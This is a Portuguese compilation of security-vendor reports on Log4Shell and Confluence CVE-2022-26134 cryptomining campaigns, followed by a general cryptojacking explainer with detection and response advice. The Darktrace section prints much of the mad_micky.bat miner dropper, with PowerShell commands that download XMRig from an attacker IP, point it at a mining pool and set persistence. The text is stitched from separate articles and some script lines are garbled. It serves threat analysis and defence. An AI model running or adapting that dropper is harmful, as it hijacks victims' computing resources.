demining/log4j-vulnerabilityA vulnerabilidade CVE-2021-44228 permite execução remota de código sem autenticação em várias versões do Apache Log4j2 (Log4Shell). Atacantes podem explorar servidores vulneráveis conectando-se por qualquer protocolo, como HTTPS, e enviando uma string especialmente criada.
A Equipe de Segurança em Nuvem da Alibaba divulgou publicamente uma vulnerabilidade crítica (CVE-2021-44228) que permite execução remota de código não autenticada em múltiplas versões do Apache Log4j2 (Log4Shell). Servidores vulneráveis podem ser explorados por atacantes conectando-se via qualquer protocolo, como HTTPS, e enviando uma string especialmente criada.
A Darktrace detectou atividade de cripto-mineração em várias implantações de clientes, resultante da exploração desta vulnerabilidade do Log4j. Em cada um desses incidentes, a exploração ocorreu por meio de conexões SSL de saída que pareciam solicitações de scripts PowerShell codificados em base64 para contornar as defesas de perímetro e baixar arquivos de script batch (.bat) e múltiplos executáveis que instalam malware de cripto-mineração. A atividade apresentou indicadores de campanha mais amplos, incluindo IPs fixos comuns, arquivos executáveis e scripts.
O ciclo de ataque começa com o que parece ser uma varredura oportunista de dispositivos conectados à Internet em busca de servidores VMWare Horizons vulneráveis ao exploit Log4j. Uma vez encontrado um servidor vulnerável, o atacante faz conexões HTTP e SSL com a vítima. Após a exploração bem-sucedida, o servidor realiza um callback na porta 1389, recuperando um script chamado mad_micky.bat. Isso realiza o seguinte:
Em pelo menos dois casos, o script mad_micky.bat foi recuperado em uma conexão HTTP que tinha o user agent Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; MAARJS). Esta foi a primeira e única vez que este user agent foi visto nessas redes. Parece que este user agent é usado legitimamente por alguns dispositivos ASUS com instalações de fábrica novas; no entanto, como um novo user agent visto apenas durante esta atividade, é suspeito.
Após a exploração bem-sucedida, o servidor realiza um callback na porta 1389 para recuperar arquivos de script. Neste exemplo, /xms.ps1 é um script PowerShell codificado em base64 que contorna a política de execução no host para chamar ‘mad_micky.bat’:
Figura 1: Informação adicional sobre o script PowerShell xms.ps1
O instantâneo detalha o log de eventos de um servidor afetado e indica um RCE bem-sucedido do Log4j que resultou no download do arquivo mad_micky.bat:
Figura 2: Dados de log destacando o arquivo mad_micky.bat
Conexões adicionais foram iniciadas para recuperar arquivos executáveis e scripts. Os scripts continham dois endereços IP localizados na Coreia e na Ucrânia. Uma conexão foi feita ao IP ucraniano para baixar o arquivo executável xm.exe, que ativa o minerador. O minerador, XMRig Miner (neste caso), é uma ferramenta de mineração de código aberto e multiplataforma, disponível para download em vários locais públicos. O próximo download de exe observado foi para ‘wxm.exe’ (f0cf1d3d9ed23166ff6c1f3deece19b4).
Figura 3: Informação adicional sobre o executável XMRig
A conexão ao IP coreano envolveu uma solicitação de outro script (/2.ps1) e de um arquivo executável (LogBack.exe). Este script exclui tarefas em execução associadas a logging, incluindo o filtro de log de eventos do SCM ou o consumidor de log de eventos do PowerShell. O script também solicita um arquivo do Pastebin, que possivelmente é um arquivo de configuração do Cobalt Strike beacon. As exclusões de log foram realizadas por meio de tarefas agendadas e WMI, incluindo: Eventlogger, SCM Event Log Filter, DSM Event Log Consumer, PowerShell Event Log Consumer, Windows Events Consumer, BVTConsumer.
O segundo arquivo solicitado do Pastebin, embora não mais hospedado pelo Pastebin, faz parte de um comando schtasks, portanto, provavelmente usado para estabelecer persistência:
O arquivo executável Logback.exe é outra ferramenta de mineração XMRig. Um arquivo config.json também foi baixado do mesmo IP coreano. Após isso, comandos cmd.exe e wmic foram usados para configurar o minerador.
Esses downloads de arquivos e a configuração do minerador foram seguidos por conexões adicionais ao Pastebin.
Figura 4: Correlação OSINT do arquivo mad_micky.bat
set “STARTUP_DIR=%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”
set “STARTUP_DIR=%USERPROFILE%\Start Menu\Programs\Startup”
looking for the following utilities: powershell, find, findstr, tasklist, sc
set “LOGFILE=%USERPROFILE%\mimu6\xmrig.log”
if %EXP_MONER_HASHRATE% gtr 8192 ( set PORT=18192 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 4096 ( set PORT=14906 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 2048 ( set PORT=12048 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 1024 ( set PORT=11024 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 512 ( set PORT=10512 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 256 ( set PORT=10256 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 128 ( set PORT=10128 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 64 ( set PORT=10064 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 32 ( set PORT=10032 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 16 ( set PORT=10016 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 8 ( set PORT=10008 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 4 ( set PORT=10004 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 2 ( set PORT=10002 & goto PORT_OK)
set port=10001echo [*] Removing previous mimu miner (if any)
sc stop gado_miner
sc delete gado_miner
taskkill /f /t /im xmrig.exe
taskkill /f /t/im logback.exe
taskkill /f /t /im network02.exe
:REMOVE_DIR0
echo [*] Removing “%USERPROFILE%\mimu6” directory
timeout 5
rmdir /q /s “USERPROFILE%\mimu6” >NUL 2>NUL
IF EXIST “%USERPROFILE%\mimu6” GOTO REMOVE_DIR0echo [*] Downloading MoneroOcean advanced version of XMRig to “%USERPROFILE%\xmrig.zip”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.DownloadFile(‘http://141.85.161[.]18/xmrig.zip’, ;%USERPROFILE%\xmrig.zip’)”
echo copying to mimu directory
if errorlevel 1 (
echo ERROR: Can’t download MoneroOcean advanced version of xmrig
goto MINER_BAD)echo [*] Unpacking “%USERPROFILE%\xmrig.zip” to “%USERPROFILE%\mimu6”
powershell -Command “Add-type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory(‘%USERPROFILE%\xmrig.zip’, ‘%USERPROFILE%\mimu6’)”
if errorlevel 1 (
echo [*] Downloading 7za.exe to “%USERPROFILE%za.exe”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.Downloadfile(‘http://141.85.161[.]18/7za.txt’, ‘%USERPROFILE%za.exe’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”url\”: *\”.*\”,’, ‘\”url\”: \”207.38.87[.]6:3333\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”user\”: *\”.*\”,’, ‘\”user\”: \”%PASS%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”pass\”: *\”.*\”,’, ‘\”pass\”: \”%PASS%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”max-cpu-usage\”: *\d*,’, ‘\”max-cpu-usage\”: 100,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
set LOGFILE2=%LOGFILE:\=\\%
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”log-file\”: *null,’, ‘\”log-file\”: \”%LOGFILE2%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
if %ADMIN% == 1 goto ADMIN_MINER_SETUP
if exist “%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup” (
set “STARTUP_DIR=%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”
goto STARTUP_DIR_OK
)
if exist “%USERPROFILE%\Start Menu\Programs\Startup” (
set “STARTUP_DIR=%USERPROFILE%\Start Menu\Programs\Startup”
goto STARTUP_DIR_OK
)
echo [*] Downloading tools to make gado_miner service to “%USERPROFILE%\nssm.zip”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.DownloadFile(‘[http://141.85.161[.]18/nssm.zip’, ‘%USERPROFILE%\nssm.zip’)”
if errorlevel 1 (
echo ERROR: Can’t download tools to make gado_miner service
exit /b 1Os principais modelos de violação que a Darktrace usou para identificar esta campanha incluem modelos focados em comprometimento como Application Protocol on Uncommon Port, Outgoing Connection to Rare From Server e Beaconing to Rare Destination. Modelos focados em arquivos como Masqueraded File Transfer, Multiple Executable Files and Scripts from Rare Locations e Compressed Content from Rare External Location. A mineração de criptomoedas é detectada sob os modelos Cryptocurrency Mining Activity.
Os modelos associados a Unusual PowerShell to Rare and New User Agent destacam as conexões anômalas nos dispositivos infectados após os callbacks do Log4j.
Clientes com a tecnologia Resposta Autônoma da Darktrace, Antigena, também tiveram ações para bloquear os arquivos e scripts recebidos baixados e restringir os dispositivos infectados ao padrão normal de vida, evitando tanto os downloads iniciais de arquivos maliciosos quanto a atividade contínua de cripto-mineração.
Em 31 de maio, uma vulnerabilidade crítica não corrigida, que afeta todas as versões suportadas do Confluence Server e Data Center, foi relatada à Atlassian pela Volexity, uma empresa de segurança.
A Atlassian alertou seus clientes sobre a vulnerabilidade crítica em 2 de junho e emitiu uma correção um dia depois. A CISA adicionou esta vulnerabilidade à sua lista de Vulnerabilidades Conhecidas Exploradas em 3 de junho.
A Check Point lançou uma proteção dedicada para prevenir ataques que exploram esta vulnerabilidade e aconselha os clientes a corrigir os sistemas afetados.
A Vulnerabilidade
A vulnerabilidade no Atlassian Confluence e Data Center, designada como CVE-2022-26134, pode levar a um ataque de injeção de expressão OGNL (Object-Graph Navigation Language) não autenticado.
Um atacante remoto não autenticado pode usar esta vulnerabilidade para executar código arbitrário no servidor alvo, colocando um payload malicioso na URI.
Figura 1: Payload malicioso que explora CVE-2022-26134.
Exploração Ativa
Pesquisadores da Check Point Research (CPR) notaram um grande número de tentativas de exploração desde que a vulnerabilidade foi publicada. Inicialmente, muitos dos potenciais atacantes usaram métodos de varredura para identificar alvos vulneráveis. Após alguns dias, os atacantes começaram a usar a vulnerabilidade para baixar malware para os sistemas afetados.
Entre os logs de exploração, os pesquisadores notaram alguns payloads maliciosos relacionados à mesma campanha e originados da mesma fonte, mas com alvos em diferentes plataformas: Linux e Windows.
A cadeia de infecção depende do sistema operacional da vítima.
Ataque com alvo no Linux
O atacante utilizou a vulnerabilidade 0-day do Atlassian enviando uma requisição HTTP maliciosa para a vítima.
Figura 2: Uma requisição HTTP maliciosa explorando CVE-2022-26134 com um payload codificado em base64.
A string base64 decodifica em outra string codificada em base64. No total, os pesquisadores tiveram que decodificar a string algumas vezes para obter o payload real.
Figura 3: A string base64 decodificada.
Este script baixa um arquivo de script bash chamado xms do servidor C&C remoto para a pasta tmp da vítima, executa-o e o exclui em seguida.
Figura 4: Parte do script malicioso xms.
O arquivo xms é um script dropper. Ele desinstala agentes em execução da máquina da vítima e se adiciona a tarefas cron para manter persistência após a reinicialização.
Além disso, um teste de conectividade de rede para a[.]oracleservice.top é realizado constantemente.
Na tentativa de se espalhar para outras máquinas, o script procura por chaves ssh e tenta se conectar. Em seguida, baixa o arquivo xms do servidor C&C e o executa.
O script baixa um arquivo executável elf chamado dbused para a pasta tmp em vários IPs remotos.
O arquivo dbused é empacotado usando upx para evitar detecção estática.
O arquivo elf é um minerador de criptomoedas que esgota os recursos da máquina da vítima:
Figura 5: O processo dbused esgota os recursos do sistema.
O Ataque Direcionado ao Windows OS
O atacante utilizou a vulnerabilidade do Atlassian para executar um download cradle do PowerShell para iniciar um ataque sem arquivo a partir de um servidor C&C remoto.
Figura 6: Uma solicitação HTTP manipulada explorando CVE-2022-26134 usando comandos do PowerShell.
O script lol.ps1 é injetado em um processo de memória do PowerShell.
O script verifica a arquitetura do processador, usando wmi para checar se corresponde aos seus requisitos.
Em seguida, baixa um arquivo executável chamado checkit2 para a pasta tmp e o executa em modo oculto.
Figura 7: O script lol.ps1.
O processo checkit2.exe gera um processo filho, chamado InstallUtil.exe, que se conecta ao servidor C&C. O InstallUtil.exe por sua vez gera outro processo filho, AddInProcess.exe, que é o minerador de criptomoedas. Após alguns momentos de execução na máquina da vítima, o processo checkit2 se encerra.
Figura 8: O processo checkit2.exe em execução no sistema.
Figura 9: O processo InstallUtil.exe em execução no sistema.
O malware baixa uma nova cópia de si mesmo, com um novo nome, para a pasta do Menu Iniciar.
Figura 10: O arquivo cloud.exe baixado para a pasta de Inicialização.
O minerador de criptomoedas agora é executado na máquina e esgota todos os recursos do sistema:
Figura 11: Informações da carteira de criptomoedas.
Cadeia de ataque
Ambos os cenários de ataque começam com uma solicitação HTTP inicial manipulada explorando a vulnerabilidade CVE-2022-26134. O atacante executa comandos usando a função de execução Java para baixar um payload malicioso para a máquina da vítima.
O payload malicioso então baixa um arquivo executável de acordo com o SO afetado. Ambos os executáveis executam um minerador de criptomoedas para utilizar os recursos da vítima em benefício próprio.
Atores da Ameaça
O domínio a[.]oracleservice.top e a carteira de criptomoedas que extraímos do sistema estão relacionados a um grupo de cibercriminosos chamado “8220 gang”.
Proteções Check Point:
IPS:
Atlassian Confluence Remote Code Execution (CVE-2022-26134)
Anti-Bot:
Trojan.WIN32.XMRig
IOCs:
198.251.86[.]46
51.79.175[.]139
167.114.114[.]169
146.59.198[.]38
51.255.171[.]23
a.oracleservice[.]top
d2bae17920768883ff8ac9a8516f9708967f6c6afe2aa6da0241abf8da32456e
2622f6651e6eb01fc282565ccbd72caba9844d941b9d1c6e6046f68fc873d5e0
4e48080f37debd76af54a3231ecaf3aa254a008fae1253cdccfcc36640f955d9
4b8be1d23644f8cd5ea22fa4f70ee7213d56e3d73cbe1d0cc3c8e5dfafe753e0
Monero Wallet:
46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ
Cryptojacking é o uso não autorizado dos recursos de computação de outra pessoa para minerar criptomoedas. Hackers buscam sequestrar qualquer tipo de sistema que possam assumir—desktops, servidores, infraestrutura em nuvem e mais—para minerar ilicitamente moedas criptográficas.
Independentemente do mecanismo de entrega, o código de cryptojacking geralmente funciona silenciosamente em segundo plano enquanto vítimas desavisadas usam seus sistemas normalmente. Os únicos sinais que podem notar são desempenho mais lento, atrasos na execução, superaquecimento, consumo excessivo de energia ou contas de computação em nuvem anormalmente altas.
A mineração de moedas é um processo legítimo no mundo das criptomoedas que libera novas criptomoedas em circulação. O processo funciona recompensando a moeda para o primeiro minerador que resolver um problema computacional complexo. Esse problema completa blocos de transações verificadas que são adicionados ao blockchain da criptomoeda.
“Os mineradores estão essencialmente sendo pagos por seu trabalho como auditores. Eles estão fazendo o trabalho de verificar a legitimidade das transações de Bitcoin”, detalhou um explicador recente da Investopedia sobre como funciona a mineração de Bitcoin. “Além de encher os bolsos dos mineradores e apoiar o ecossistema Bitcoin, a mineração serve a outro propósito vital: É a única maneira de liberar novas criptomoedas em circulação.”
Ganhar criptomoedas por meio da mineração de moedas geralmente requer uma enorme quantidade de poder de processamento e energia para ser realizado. Além disso, o ecossistema de criptomoedas é projetado de forma a tornar a mineração mais difícil e reduzir as recompensas ao longo do tempo e com mais concorrência de mineração. Isso torna a mineração legítima de criptomoedas extremamente cara, com custos aumentando o tempo todo.
Cibercriminosos reduzem os custos de mineração simplesmente roubando recursos de computação e energia. Eles usam uma variedade de técnicas de hacking para obter acesso a sistemas que farão o trabalho computacional ilicitamente e então fazem com que esses sistemas sequestrados enviem os resultados para um servidor controlado pelo hacker.
Os métodos de ataque são limitados apenas pela criatividade dos cryptojackers, mas os seguintes são alguns dos mais comuns usados atualmente.
No passado, o cryptojacking era principalmente uma jogada de malware de endpoint, existindo como mais um objetivo lucrativo para implantar malware em desktops e laptops. O malware de cryptojacking tradicional é entregue por rotas típicas como malware sem arquivo, esquemas de phishing e scripts maliciosos incorporados em sites e aplicativos web.
A maneira mais básica de os atacantes de cryptojacking roubarem recursos é enviando aos usuários de endpoint um e-mail de aparência legítima que os incentiva a clicar em um link que executa código para colocar um script de mineração de criptomoedas em seus computadores. Ele é executado em segundo plano e envia os resultados de volta por meio de uma infraestrutura de comando e controle (C2).
Outro método é injetar um script em um site ou em um anúncio que é entregue a vários sites. Assim que as vítimas visitam o site ou o anúncio infectado aparece em seus navegadores, o script é executado automaticamente. Nenhum código é armazenado nos computadores das vítimas.
Essas vias ainda continuam sendo uma preocupação legítima, embora os criminosos tenham adicionado técnicas significativamente mais sofisticadas a seus manuais de cryptojacking à medida que buscam aumentar os lucros, com alguns desses métodos em evolução descritos abaixo.
Os atacantes buscam aumentar a lucratividade do cryptojacking expandindo seus horizontes para servidores, dispositivos de rede e até dispositivos IoT. Servidores, por exemplo, são um alvo particularmente suculento, pois geralmente são mais potentes do que um desktop comum. Eles também são um terreno de caça privilegiado em 2022, enquanto os bandidos escaneiam servidores expostos à internet pública que contêm vulnerabilidades como Log4J, explorando a falha e carregando silenciosamente software de mineração de criptomoedas no sistema conectado aos servidores do hacker. Frequentemente, os atacantes usarão o sistema inicialmente comprometido para mover seu cryptojacking lateralmente para outros dispositivos de rede.
“Estamos vendo um aumento na mineração de criptomoedas decorrente da vulnerabilidade Log4J”, diz Sally Vincent, engenheira sênior de pesquisa de ameaças da LogRhythm. “Os hackers estão invadindo redes e instalando malware que usa armazenamento para minerar criptomoedas.”
Os cibercriminosos estão alvejando a cadeia de suprimentos de software ao semear repositórios de código aberto com pacotes e bibliotecas maliciosos que contêm scripts de cryptojacking incorporados em seu código. Com desenvolvedores baixando esses pacotes aos milhões ao redor do globo, esses ataques podem escalar rapidamente a infraestrutura de cryptojacking para os bandidos de duas maneiras. Os pacotes maliciosos podem ser usados para alvejar sistemas de desenvolvedores—e as redes e recursos de nuvem aos quais eles se conectam—para usá-los diretamente como recursos ilícitos de mineração de criptomoedas. Ou podem aproveitar esses ataques para envenenar o software que esses desenvolvedores estão construindo com componentes que executam scripts de mineração de criptomoedas nas máquinas do usuário final do aplicativo.
Muitas empresas de cryptojacking estão aproveitando a escalabilidade dos recursos em nuvem invadindo a infraestrutura em nuvem e acessando um conjunto ainda mais amplo de pools de computação para alimentar sua atividade de mineração. Um estudo do outono passado pela Equipe de Ação de Cibersegurança do Google relatou que 86% das instâncias em nuvem comprometidas são usadas para mineração de criptomoedas.
“Hoje, os atacantes estão alvejando serviços em nuvem por todos os meios para minerar cada vez mais criptomoedas, já que os serviços em nuvem podem permitir que eles executem seus cálculos em uma escala maior do que apenas uma única máquina local, seja assumindo o ambiente de nuvem gerenciado de um usuário ou até mesmo abusando de aplicativos SaaS para executar seus cálculos”, escreveu Guy Arazi, pesquisador sênior de segurança da Palo Alto Networks, em um post de blog.
Um dos métodos comuns para fazer isso é escanear APIs de contêiner expostas ou buckets de armazenamento em nuvem não seguros e usar esse acesso para começar a carregar software de mineração de moedas em instâncias de contêiner ou servidores em nuvem impactados. O ataque é tipicamente automatizado com software de escaneamento que procura servidores acessíveis à internet pública com APIs expostas ou acesso não autenticado possível. Os atacantes geralmente usam scripts para soltar os payloads de mineradores no sistema inicial e procurar maneiras de se propagar através de sistemas em nuvem conectados.
“A lucratividade e a facilidade de realizar cryptojacking em escala torna esse tipo de ataque um alvo fácil”, disse Matt Muir, pesquisador de segurança da Cado Security, em um post de blog explicando que os ataques baseados em nuvem são particularmente lucrativos. “Isso provavelmente continuará enquanto os usuários continuarem a expor serviços como Docker e Redis a redes não confiáveis.”
De acordo com um relatório da ReasonLabs, no último ano, 58,4% de todos os Trojans detectados eram mineradores de moedas de cryptojacking. Enquanto isso, outro estudo da SonicWall descobriu que 2021 foi o pior ano até agora para ataques de cryptojacking, com a categoria registrando 97,1 milhões de ataques ao longo do ano. Esses números são tão fortes porque o cryptojacking está virtualmente cunhando dinheiro para cibercriminosos.
Quando um criminoso pode minerar criptomoedas em um pool aparentemente ilimitado de recursos gratuitos de computação de máquinas vítimas, o ganho para eles é enorme. Mesmo com a queda precipitada na valorização do Bitcoin nesta primavera que o trouxe abaixo do nível de US$ 30.000, as margens ilícitas dos cryptojackers ainda fazem sentido para os negócios, pois o valor do que mineram supera em muito os custos de sua infraestrutura criminosa.
Um honeypot da equipe de pesquisa de segurança da Cado Labs descobriu um ataque de cryptojacking em vários estágios que visa endpoints expostos da API do Docker Engine e servidores Redis, e pode se propagar de forma semelhante a um worm. O ataque é perpetrado pelo grupo de ataque WatchDog, que tem sido particularmente ativo no final de 2021 e 2022 com inúmeras campanhas de cryptojacking.
TeamTNT foi um dos primeiros grupos de hackers a deslocar o foco do cryptojacking fortemente para serviços orientados à nuvem. Pesquisadores da TrendMicro no final de 2021 relataram que esse grupo, juntamente com rivais como a gangue Kinsig, estava realizando campanhas de cryptojacking que instalavam mineradores em instâncias do Alibaba Elastic Computing Service (ECS) e desabilitavam recursos de segurança para evitar detecção.
A vulnerabilidade Log4Shell tem sido uma bênção para os atacantes de cryptojacking em 2022. Em um exemplo marcante, pesquisadores da Sophos descobriram no início deste ano que uma 'horda' de atacantes estava alvejando servidores VMware Horizon para entregar uma variedade de payloads de cryptojacking que incluíam o z0Miner, o minerador JavaX e pelo menos duas variantes do XMRig, Jin e Mimu, bots mineradores de criptomoedas.
Os especialistas em segurança da cadeia de suprimentos de software da Sonatype no outono de 2021 soaram o alarme sobre pacotes maliciosos de mineração de criptomoedas escondidos no npm, o repositório de pacotes JavaScript usado por desenvolvedores em todo o mundo. Na época, eles encontraram um trio de pacotes, pelo menos um dos quais estava se passando por uma biblioteca legítima popular usada por desenvolvedores chamada “ua-parser-js”, que recebe mais de 7 milhões de downloads semanais e seria uma maneira ideal de atrair desenvolvedores a baixar acidentalmente um pedaço de código malicioso e instalá-lo em seu software.
Alguns meses após esse relatório, pesquisadores da WhiteSource (agora Mend) lançaram um relatório adicional que mostrou que o npm está infestado de código malicioso—até 1.300 pacotes maliciosos que incluem cryptojacking e outros comportamentos nefastos.
No verão passado, a Bitdefender descobriu um grupo de ameaças romeno que estava a visar máquinas Linux com credenciais SSH para implementar malware de mineração de Monero. As ferramentas que utilizavam eram distribuídas num modelo "as-a-service". Este exemplo estava na ponta da lança do que parece ser uma tendência crescente de ataques de criptomineração em sistemas Linux. Um relatório deste ano da VMware detalhou um crescente direcionamento a ambientes multi-cloud baseados em Linux, particularmente usando o software de mineração XMRig.
"Muitas das amostras de criptomineração de sistemas Linux têm alguma relação com o aplicativo XMRig", explicou o relatório, que mostrou que 89% dos ataques de criptomineração utilizavam bibliotecas relacionadas ao XMRig. "Portanto, quando bibliotecas e módulos específicos do XMRig são identificados em binários Linux, é provavelmente uma evidência de potencial comportamento de criptomineração."
CoinStomp é outra campanha de cryptojacking recentemente descoberta a visar provedores de serviços cloud asiáticos (CSPs). Esta distingue-se pelas suas medidas de anti-forense e evasão. Estas incluíam timestomping para manipular timestamps do sistema, remoção de políticas criptográficas do sistema e o uso do dispositivo de arquivo /dev/tcp para criar uma sessão de reverse shell, explicou Muir, da Cado, num relatório sobre o ataque.
Os criptojackers podem por vezes ir a grandes comprimentos para roubar não só poder de processamento, mas também energia e recursos de rede da infraestrutura corporativa. No ano passado, analistas da Darktrace destacaram um exemplo anónimo de um dos seus clientes onde descobriram uma fazenda de mineração de criptomoedas num armazém que estava disfarçada dentro de um conjunto discreto de caixas de cartão. Lá dentro havia um rig furtivo a executar múltiplas GPUs que estavam ligadas à rede elétrica da empresa.
À medida que evoluiu para um ataque multivectorial que abrange endpoints, servidores e recursos cloud, prevenir o cryptojacking requer uma estratégia de defesa orquestrada e abrangente. Os seguintes passos podem ajudar a evitar que o cryptojacking se propague descontroladamente nos recursos empresariais.
Empregue uma forte proteção de endpoint: A base disso é usar proteção de endpoint e anti-malware capaz de detetar criptomineradores, bem como manter os filtros web atualizados e gerir as extensões do navegador para minimizar o risco de scripts baseados em navegador serem executados. As organizações devem idealmente procurar plataformas de proteção de endpoint que possam estender-se a servidores e além.
Atualize e endureça servidores (e tudo o resto). Os criptojackers tendem a procurar os frutos mais fáceis que podem colher silenciosamente — isso inclui procurar servidores publicamente expostos contendo vulnerabilidades mais antigas. O endurecimento básico de servidores, que inclui aplicar patches, desativar serviços não utilizados e limitar a superfície de ataque externa, pode ajudar muito a minimizar o risco de ataques baseados em servidores.
Use análise de composição de software. As ferramentas de análise de composição de software (SCA) fornecem melhor visibilidade sobre quais componentes estão a ser utilizados dentro do software para prevenir ataques à cadeia de fornecimento que aproveitam scripts de mineração de moedas.
Investigue configurações incorretas na cloud. Uma das formas mais impactantes de as organizações impedirem o cryptojacking na cloud é apertar as configurações de cloud e de contentores. Isso significa encontrar serviços cloud expostos à internet pública sem autenticação adequada, erradicar servidores API expostos e eliminar credenciais e outros segredos armazenados em ambientes de desenvolvimento e codificados em aplicações.
O cryptojacking é um ataque cibernético clássico do tipo "lento e constante", projetado para deixar o mínimo de sinais para evitar a deteção a longo prazo. Embora as plataformas de proteção de endpoint e as tecnologias de deteção e resposta de endpoint tenham evoluído bastante para alertar sobre ataques de cryptojacking, os maus da arte são mestres na evasão neste campo e detetar mineradores ilícitos de moedas ainda pode ser difícil, especialmente quando apenas alguns sistemas estão comprometidos. Seguem-se alguns métodos adicionais para sinalizar indícios de cryptojacking.
Treine a sua equipa de helpdesk para procurar sinais de criptomineração. Por vezes, a primeira indicação nos endpoints dos utilizadores é um aumento de queixas no helpdesk sobre desempenho lento do computador. Isso deve levantar um sinal de alerta para investigar mais a fundo, tal como dispositivos a sobreaquecer ou fraco desempenho da bateria em dispositivos móveis.
Implemente uma solução de monitorização de rede. As ferramentas de monitorização de rede podem oferecer um poderoso instrumento para detetar os tipos de tráfego web e tráfego C2 de saída que indicam atividades de cryptojacking, independentemente do dispositivo de onde provêm.
"Se tiver uma boa filtragem de egresso num servidor onde está a monitorizar iniciações de conexões de saída, isso pode ser uma boa deteção para [malware de criptomineração]," ] ," diz Travis Farral, vice-presidente e CISO da Archaea Energy. Ele adverte, no entanto, que os autores de criptomineradores podem escrever o seu malware para evitar esse método de deteção.
Use monitorização de cloud e segurança de runtime de contentores. Ferramentas em evolução como a monitorização de cloud e a análise de segurança de runtime de contentores podem oferecer visibilidade adicional sobre ambientes cloud que possam estar a ser impactados por criptomineradores não autorizados. Os fornecedores de cloud estão a incorporar este tipo de visibilidade nos seus serviços, por vezes como extras. Por exemplo, o Google Cloud expandiu o seu Centro de Comando de Segurança no início deste ano para incluir o que chama de Deteção de Ameaças em Máquinas Virtuais (VMTD) para detetar sinais de criptomineração na cloud, entre outras ameaças na cloud.
Envolva-se em caças a ameaças regulares. Uma vez que tantos ataques de cryptojacking são furtivos e deixam poucos rastos, as organizações podem precisar de tomar medidas mais ativas, como a caça a ameaças, para procurar regularmente sinais subtis de comprometimento e prosseguir com investigações.
"As equipas de segurança de endpoint e SOC devem investir tempo em exercícios ativos e caças a ameaças, em vez de esperar que algo potencialmente catastrófico aconteça", diz Vincent, da LogRhythm.
Monitore os seus sites em busca de código de criptomineração. Farral adverte que os criptojackers estão a encontrar maneiras de colocar pedaços de código JavaScript em servidores web. "O servidor em si não é o alvo, mas qualquer pessoa que visite o site [corre risco de infeção]", diz ele. Ele recomenda monitorizar regularmente as alterações de ficheiros no servidor web ou alterações nas próprias páginas.
Depois de detetada a atividade ilícita de criptomineração, a resposta a um ataque de cryptojacking deve seguir os passos padrão de resposta a incidentes cibernéticos, que incluem contenção, erradicação, recuperação e lições aprendidas. Algumas dicas sobre como responder a um ataque de cryptojacking incluem:
Mate scripts entregues pela web. Para ataques JavaScript no navegador, a solução é simples assim que a criptomineração é detetada: Mate o separador do navegador que está a executar o script. O TI deve anotar o URL do site que é a origem do script e atualizar os filtros web da empresa para o bloquear.
Desligue instâncias de contentores comprometidas. A infraestrutura cloud imutável, como instâncias de contentores comprometidas com mineradores de moedas, também pode ser tratada de forma simples, desligando as instâncias de contentores infetadas e começando de novo. No entanto, as organizações devem investigar as causas raiz que levaram ao comprometimento do contentor em primeiro lugar. Isso significa procurar sinais de que o painel de controlo do contentor e as credenciais foram comprometidos e examinar os recursos cloud conectados em busca de sinais de comprometimento. Um passo fundamental é garantir que a nova imagem de contentor para substituir a antiga não esteja configurada de forma semelhante.
Reduza permissões e regenere chaves de API. Erradicar e recuperar completamente de cryptojacking baseado na cloud exigirá que as organizações reduzam as permissões para os recursos cloud afetados (e os que estão ligados a eles) e regenerem as chaves de API para evitar que os atacantes voltem a entrar no mesmo ambiente cloud.
Aprenda e adapte-se. Use a experiência para compreender melhor como o atacante conseguiu comprometer os seus sistemas. Atualize a formação dos seus utilizadores, helpdesk, TI e analistas de SOC para que estes estejam mais aptos a identificar tentativas de cryptojacking e a responder em conformidade.
Nota do editor: Este artigo, originalmente publicado em fevereiro de 2018, foi atualizado para incluir novas pesquisas, melhores práticas e exemplos de cryptojacking.
A vulnerabilidade do Apache Log4j tem estado nas manchetes globais desde que foi descoberta no início de dezembro. A falha impactou um vasto número de organizações em todo o mundo, enquanto as equipas de segurança se apressaram a mitigar os riscos associados. Aqui está uma cronologia dos principais eventos em torno da vulnerabilidade do Log4j à medida que foram ocorrendo.
